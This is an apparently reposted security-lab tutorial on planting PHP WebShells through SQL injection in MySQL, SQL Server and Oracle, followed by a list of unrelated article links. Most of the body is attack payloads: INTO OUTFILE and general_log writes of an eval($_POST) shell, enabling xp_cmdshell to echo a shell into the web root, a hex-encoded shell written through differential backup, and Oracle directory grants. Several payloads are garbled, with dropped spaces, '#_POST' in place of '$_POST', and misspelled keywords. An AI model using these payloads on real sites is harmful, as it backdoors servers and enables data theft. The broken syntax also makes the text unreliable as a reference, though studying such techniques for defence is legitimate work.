美创安全实验室 | 三大数据库写入WebShell的姿势总结
mhr18 2025-06-29 17:38 3 浏览 0 评论
WebShell作为黑客常用来提权的工具,通常出现在存在任意文件上传漏洞的网站中,但如果遇到一个没有任何的上传点的网站,想通过文件上传漏洞获得权限显然就行不通了,但所谓"山穷水尽疑无路、柳暗花明又一村",此时一个SQL注入点摆在你眼前,你能否珍惜这来之不易的机会,拿到WebShell呢?
本期美创安全实验室将带大家了解,如何通过数据库获取网站的WebShell。
MySQL写入WebShell
1必备条件
想要成功向MySQL写入WebShell需要至少满足以下4个条件:
① 数据库的当前用户为ROOT或拥有FILE权限;
② 知道网站目录的绝对路径;
③ PHP的GPC参数为off状态;
④ MySQL中的secure_file_priv参数不能为NULL状态。
注意:关于其中第4点,secure_file_priv参数是MySQL用来限制数据导入和导出操作的效果,如果这个参数被设为了一个目录名,那么MySQL会允许仅在这个目录中可以执行文件的导入和导出,例如LOAD DATA、SELECT。。。INTOOUTFILE、LOAD_FILE()等。如果这个参数为NULL,MySQL会禁止导入导出操作,但是这只是意味着通过outfile方法写入WebShell是无法成功的,但是通过导出日志的方法是可以的。
2写入方法
向MySQL写入WebShell的方式一共有两种,分别是:1、使用outfile方法,2、基于log日志写入法。
Outfile方法其实是Mysql提供的一个用来写入文件的函数,当我们可以控制写入的文件内容以及文件的保存路径时,我们就可以达到传入WebShell的目的。当我们可以使用union查询时,我们构造一个如下语句,就可以达到效果:
Union select "这里是WebShell" into outfile "Web目录";
当我们无法使用union时,还有一些其他方法也可以实现(利用分隔符写入):
?id=1 INTO OUTFILE '物理路径' lines terminatedby (这里是WebShell)#
?id=1 INTO OUTFILE '物理路径' fields terminatedby (这里是WebShell)#
?id=1 INTO OUTFILE'物理路径'columns terminatedby (这里是WebShell)#
?id=1 INTO OUTFILE '物理路径' lines startingby (这里是WebShell)#
基于log日志写入的方法其实是先将日志文件的导出目录修改成Web目录,然后执行了一次简单的WebShell代码查询功能,此时日志文件记录了此过程,这样在Web目录下的日志文件就变成了WebShell。例如,我们先设置日志文件的导出目录:set global general_file = 'Web目录';然后执行一遍:select "WebShell代码";即可。
3使用OUTFILE方法写入Webshell
(1)实验前准备:
检查secure_file_priv是否开启:show variables like'%secure%';确认其不为NULL。有值或为空都可以。(若是为NULL,则需要到my.ini文件中手动修改)
检查当前用户是否具备写权限:selectuser,file_priv from mysql.user;确认其用户的值为Y即代表此用户拥有文件写入权限。
(2)确认注入点
http:/192.168.20.35/DVWA-master/vulnerabilities/sqli/?id=1;
参数ID存在SQL注入漏洞
http:/192.168.20.35/DVWA-master/vulnerabilities/sqli/?id=1'union select version(),user() #
(3)利用outfile写入shell文件
若secure_file_priv为空,则可以向任意目录写入文件,若secure_file_priv有值,则只能向该值指向的目录写入文件,因为我们的值为空,所以就任意目录写入,但因为还需要工具进行连接,所以最好放在网站的根目录下。
PAYLOAD(使用Union查询注入):1'unionselect1,"<?phpeval(#_POST['pass']); ?>" into outfile"F:\\PhpStudy20180211
\\PHPTutorial\\WWW\\Tp.php" #
PAYLOAD(不用Union):1'intooutfile"F:\\Php、Study2018021\\PHPTutorial\\WWW\\Tp.php" fields terminated by "<?phpeval(#_POST['pass']); ?>" #
文件已被写入到网站的根目录下,接下来就可以使用连接工具(蚁剑、菜刀、冰蝎等)进行连接了。
4使用导入日志的方法写入Webshell
(1)实验前准备:
检查当前mysql下log日志是否开启,以及log的默认地址在哪里:show variables like '%general%';
将log日志开启,并设置日志的写入位置:
Set globalgeneral_log = on;
Set globalgeneral_log_file = 'F:/test.php';
(2)使用写入日志再读取的方法
直接在SQL注入点,使用查询语句,添加WebShell代码,如下:
Select '<?phpphpinfo();?>';
此时这段WebShell代码已经被记录到日志文件中了,接下就可以使用连接工具进行连接了。
SqlServer写入WebShell
1、 必备条件
① 有相应的权限db_owner
② 获得Web目录的绝对路径
2、写入方法
向MSSQL写入WebShell的方法一共有种:利用xp_cmdshell命令、差异备份写入shell、log备份写入shell。
3、使用XP_cmdshell写入Webshell
(1)实验前准备:
首先我们需要查找网站目录的绝对路径,查找绝对路径的方法有5种:
通过报错信息查找;
通过目录爆破猜解;
通过旁站的目录确定;
通过存储过程来搜索;
通过读取配置文件查找。
其中通过存储过程来搜索,SQLServer提供了两种方法:xp_cmdshell和xp_dirtree
execute master..xp_dirtree 'c:'; 可以查出所有c:\下的文件、目录、子目录。
在真实环境中时,我们执行execute可能并不能得到回显信息,但我们可以在注入点处新建一张表,然后将xp_dirtree查询到的信息插入其中,再查询这张表即可得相应的绝对路径了。
Xp_cmdshell是一个更为有效的查询绝对路径的函数,但是目前已经被SQLServer默认关闭了,但我们可以使用如下命令启用这个选项。
EXEC sp_configure 'show advanced options',1;//允许修改高级参数RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; //打开xp_cmdshell扩展RECONFIGURE;--
开启了xp_cmsshell之后我们就可以执行CMD命令了,例如:
for /r c:\ %i in (1*.php) do @echo %i
就可以查询c:\目录下的所有符合1*.php的文件,同理,在实际应用中,我们也是新建一个表,并将xp_cmdshell查询到的信息插入后,再次查询即可。
(2)使用xp_cmdshell写入WebShell
我们可以通过xp_cmdshell执行系统CMD命令,例如我们可以使用CMD中的echo命令,将WebShell的代码写入到网站目录下,所以我们必须提前知道Web目录的绝对路径。
PAYLOAD:1';execmaster..xp_cmdshell'echo^<?phpeval($_POST["pass"]);?^>>F:\\PhpStudy20180211\\PHPTutorial\\WWW\\cmd.php';
(3)使用差异备份写入WebShell
首先对某一数据库进行备份。
PAYLOAD:id = 1';backup database 库名 to disk = 'F:\\PhpStudy20180211\\PHPTutorial\\WWW\\back.bak';
其次将WebShell代码写入数据库中,
PAYLOAD:id = 1'; create table cybk([cmd] [image]);#创建一个新表
PAYLOAD:id=1';insertintocybk(cmd)
vaues(
0x3C3F706870206576616C28245F504F53545B2770617373275D293B203F3E);#将WebShell的代码转换成ASCII码
最后将此数据库进行差异备份,这样其中就会包含刚刚写入的WebShell代码。
PAYLOAD:id=1'; backup database library todisk='F:\\PhpStudy20180211\\PHPTutorial\\WWW\\cybk.php' WITHDIFFERENTIAL,FORMAT;
(4)使用log备份写入WebShell
使用Log备份写入WebShell的要求是他的数据库已经备份过,而且要选择完整模式的恢复模式,相比较差异备份而言,使用Log备份文件会小的多。
首先需要将数据库设置为完整恢复模式,然后创建一个新表,将WebShell用Ascii编码后写入其中,然后将该数据库的日志信息导出到Web目录,即可。
可在Web目录下找到导出的日志文件,其中包含了WebShell的代码。
ORACLE写入WebShell
1、必备条件
① 有DBA权限
② 获得Web目录的绝对路径
2、写入方法
向Oracle写入WebShell的方法可以使用:文件访问包
3、使用文件访问包方法写入Webshell
首先我们需要创建一个ORACLE的目录对象指向某一路径,在真实环境中需要指向Web目录下,在这里我们将其指向/home/oracle这一路径下。create or replace directory IST0_DIR as '/home/oracle';
创建好后,我们需要对其进行一下授权过程,让其能够顺利的写入WebShell代码。
grant read, write on directory IST0_DIR tosystem;
然后写入文件,定义变量类型为utl_file.file_type,然后将WebShell的代码写入此文件中。
直接访问该文件,即可查看到其中的WebShell代码,如果这个文件是放置在Web目录下的,那么就可以被攻击者成功利用。
本文转自杭州美创科技有限公司公众号,如需二次转载,请咨询marketing@mchz.com.cn。
相关推荐
- 如何检查 Linux 服务器是物理服务器还是虚拟服务器?
-
在企业级运维、故障排查和性能调优过程中,准确了解服务器的运行环境至关重要。无论是物理机还是虚拟机,都存在各自的优势与限制。在很多场景下,尤其是当你继承一台服务器而不清楚底层硬件细节时,如何快速辨识它是...
- 第四节 Windows 系统 Docker 安装全指南
-
一、Docker在Windows上的运行原理(一)架构限制说明Docker本质上依赖Linux内核特性(如Namespaces、Cgroups等),因此在Windows系统上无法直...
- C++ std:shared_ptr自定义allocator引入内存池
-
当C++项目里做了大量的动态内存分配与释放,可能会导致内存碎片,使系统性能降低。当动态内存分配的开销变得不容忽视时,一种解决办法是一次从操作系统分配一块大的静态内存作为内存池进行手动管理,堆对象内存分...
- Activiti 8.0.0 发布,业务流程管理与工作流系统
-
Activiti8.0.0现已发布。Activiti是一个业务流程管理(BPM)和工作流系统,适用于开发人员和系统管理员。其核心是超快速、稳定的BPMN2流程引擎。Activiti可以...
- MyBatis动态SQL的5种高级玩法,90%的人只用过3种
-
MyBatis动态SQL在日常开发中频繁使用,但大多数开发者仅掌握基础标签。本文将介绍五种高阶技巧,助你解锁更灵活的SQL控制能力。一、智能修剪(Trim标签)应用场景:动态处理字段更新,替代<...
- Springboot数据访问(整合Mybatis Plus)
-
Springboot整合MybatisPlus1、创建数据表2、引入maven依赖mybatis-plus-boot-starter主要引入这个依赖,其他相关的依赖在这里就不写了。3、项目结构目录h...
- 盘点金州勇士在奥克兰13年的13大球星 满满的全是...
-
见证了两个月前勇士与猛龙那个史诗般的系列赛后,甲骨文球馆正式成为了历史。那个大大的红色标志被一个字母一个字母地移除,在周四,一切都成为了过去式。然而这座,别名为“Roaracle”(译注:Roar怒吼...
- Mybatis入门看这一篇就够了(mybatis快速入门)
-
什么是MyBatisMyBatis本是apache的一个开源项目iBatis,2010年这个项目由apachesoftwarefoundation迁移到了googlecode,并且改名为M...
- Springboot数据访问(整合druid数据源)
-
Springboot整合druid数据源基本概念SpringBoot默认的数据源是:2.0之前:org.apache.tomcat.jdbc.pool.DataSource2.0及之后:com.z...
- Linux 中的 "/etc/profile.d" 目录有什么作用 ?
-
什么是/etc/profile.d/目录?/etc/profile.d/目录是Linux系统不可或缺的一部分保留配置脚本。它与/etc/profile文件相关联,这是一个启动脚本,该脚...
- 企业数据库安全管理规范(企业数据库安全管理规范最新版)
-
1.目的为规范数据库系统安全使用活动,降低因使用不当而带来的安全风险,保障数据库系统及相关应用系统的安全,特制定本数据库安全管理规范。2.适用范围本规范中所定义的数据管理内容,特指存放在信息系统数据库...
- Oracle 伪列!这些隐藏用法你都知道吗?
-
在Oracle数据库中,有几位特殊的“成员”——伪列,它们虽然不是表中真实存在的物理列,但却能在数据查询、处理过程中发挥出意想不到的强大作用。今天给大家分享Oracle伪列的使用技巧,无论...
- Oracle 高效处理数据的隐藏神器:临时表妙用
-
各位数据库搬砖人,在Oracle的代码世界里闯荡,处理复杂业务时,是不是总被数据“搅得头大”?今天给大家安利一个超实用的隐藏神器——临时表!当你需要临时存储中间计算结果,又不想污染正式数据表...
- Oracle 数据库查询:多表查询(oracle多表关联查询)
-
一、多表查询基础1.JOIN操作-INNERJOIN:返回两个表中满足连接条件的匹配行,不保留未匹配数据。SELECTa.emp_id,b.dept_nameFROMempl...
- 一文掌握怎么利用Shell+Python实现多数据源的异地备份程序
-
简介:在信息化时代,数据安全和业务连续性已成为企业和个人用户关注的焦点。无论是网站数据、数据库、日志文件,还是用户上传的文档、图片等,数据一旦丢失,损失难以估量。尤其是当数据分布在多个不同的目录、服务...
你 发表评论:
欢迎- 一周热门
- 最近发表
-
- 如何检查 Linux 服务器是物理服务器还是虚拟服务器?
- 第四节 Windows 系统 Docker 安装全指南
- C++ std:shared_ptr自定义allocator引入内存池
- Activiti 8.0.0 发布,业务流程管理与工作流系统
- MyBatis动态SQL的5种高级玩法,90%的人只用过3种
- Springboot数据访问(整合Mybatis Plus)
- 盘点金州勇士在奥克兰13年的13大球星 满满的全是...
- Mybatis入门看这一篇就够了(mybatis快速入门)
- Springboot数据访问(整合druid数据源)
- Linux 中的 "/etc/profile.d" 目录有什么作用 ?
- 标签列表
-
- oracle位图索引 (74)
- oracle基目录 (50)
- oracle批量插入数据 (65)
- oracle事务隔离级别 (53)
- oracle主从同步 (55)
- oracle 乐观锁 (51)
- redis 命令 (78)
- php redis (88)
- redis 存储 (66)
- redis 锁 (69)
- 启动 redis (66)
- redis 时间 (56)
- redis 删除 (67)
- redis内存 (57)
- redis并发 (52)
- redis 主从 (69)
- redis 订阅 (51)
- redis 登录 (54)
- redis 面试 (58)
- 阿里 redis (59)
- redis 搭建 (53)
- redis的缓存 (55)
- lua redis (58)
- redis 连接池 (61)
- redis 限流 (51)